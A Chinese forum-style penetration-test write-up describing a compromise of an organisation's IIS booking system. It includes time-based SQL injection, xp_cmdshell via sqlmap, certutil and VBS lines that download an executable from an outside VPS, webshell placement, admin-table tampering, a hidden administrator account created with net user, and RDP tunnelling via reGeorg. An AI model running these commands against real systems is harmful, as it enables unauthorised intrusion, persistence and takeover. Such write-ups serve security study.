0x00

对某单位的某主机系统一次渗透,敏感信息皆已打码

目标环境Windows Server 2008 R2 + IIS7.5 + ASP.NET2.0.50727

0x01

该系统为一个预约系统,先进行端口扫描,发现开放了很多端口,其中值得注意的135, 445, 3389端口被防火墙过滤,1433端口开放。爆破1433的sa密码往往很有难度,所以暂时先放着

0x02

手工测试功能点,fuzz发现几乎所有的SELECT SQL参数点都不可以注入,这时可以猜到后台使用了统一的查询方式(参数化或ORM),所以就没必要接着尝试SELECT参数了,可以转而将目光放在UPDATE或INSERT,说不定会有转机

果然,测试后发现用户邮箱修改处存在time-based盲注

这里对邮箱格式存在一个前端验证,简单绕过就可以了

之后getshell后查看源码也证实是由于UPDATE语句没有做参数化查询

0x03

SQLMap一把梭,先测试是否有DBA权限
很幸运

尝试直接使用xp_cmdshell组件执行命令,这里由于是sa用户,所以往往对应的系统权限也很高,这里直接就是SYSTEM权限

0x04

想继续发掘有用的信息,但发现一个问题,通过时间盲注来获取命令回显很慢,一条dir指令回显几乎需要5-10min,所以需要考虑获取一个WebShell或Meterpreter

WebShell由于不知道绝对路径且获取回显困难,所以暂且搁置

尝试从VPS下载远控,certuril, vbs,无一例外失败了

// certutil
certutil -urlcache -split "http://1.1.1.1/1.exe"

// vbs
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs

cscript d.vbs http://1.1.1.1/1.exe C:\\Windows\\temp\\1.exe

接下来需要确定是由于下载失败还是下载成功但被杀,尝试下载普通文本文件————成功。

接着尝试直接执行CS生成的ps1发现一样失败了,猜测是服务器的杀软进行了动态行为的二次确认

0x05

冷静下来再想想,接下来可以尝试写WebShell;或者找到SQL SERVER的配置文件,直接通过开放在公网的1433端口连接,然后xp_cmdshell执行命令(这个的回显当然比时间盲注快多了),但找配置文件的前提还是得找到WEB目录。通过已有的时间盲注来翻目录怕是得找一天,所以我需要通过尽可能少的回显来获知绝对路径

通过wmic先确定目标系统的所有盘符

wmic logicaldisk where DriveType=3 get DeviceID

接着通过web路径中某些特征文件名来通配查找

for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i
for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i

这里由于回显需要时间,就不在os-shell中复现了,通过AntSword演示

这里回显了7个路径,挨个尝试echo 1> xx\xx\1.txt,最后确定了WEB目录为E:\Program files (x86)\下的某目录

愉快的写入WebShell

连接

0x06

WebShell仅仅是iis权限,所以翻一翻配置文件

这个回显就方便多了

0x07

最开始扫目录有管理员登录后台,查询管理员密码,发现密码是80 bytes的加密字符串

没有找到源码的加密函数(部分源码只有binary没有.cs),如果有师父知道这是什么加密,欢迎交流

最后想了想,嗯,直接把我普通用户的加密密码插入admin表吧

成功登录后台

0x08

还记得目标开了3389,尝试连接

通过xp_cmdshell的SYSTEM权限添加用户

net user iv4n$ xxxxxxx /add
net localgroup administrators iv4n$ /add

但防火墙限制了3389的外网访问,尝试通过socks代理转发

(考虑到EXE需要免杀,所以本打算使用系统netsh组件端口转发,连接时却转发异常,之后使用reGeorge访问目标内网端口)

all seems fine, 测试一下没问题

编辑proxychains的配置为本地4444端口的socks4代理,通过proxychains套rdesktop连接

0x09

目标系统没有域环境,所以测试就到此为止了

本文如有错误,欢迎各位师父指出 :)

点击收藏 | 5 关注 | 3
登录 后跟帖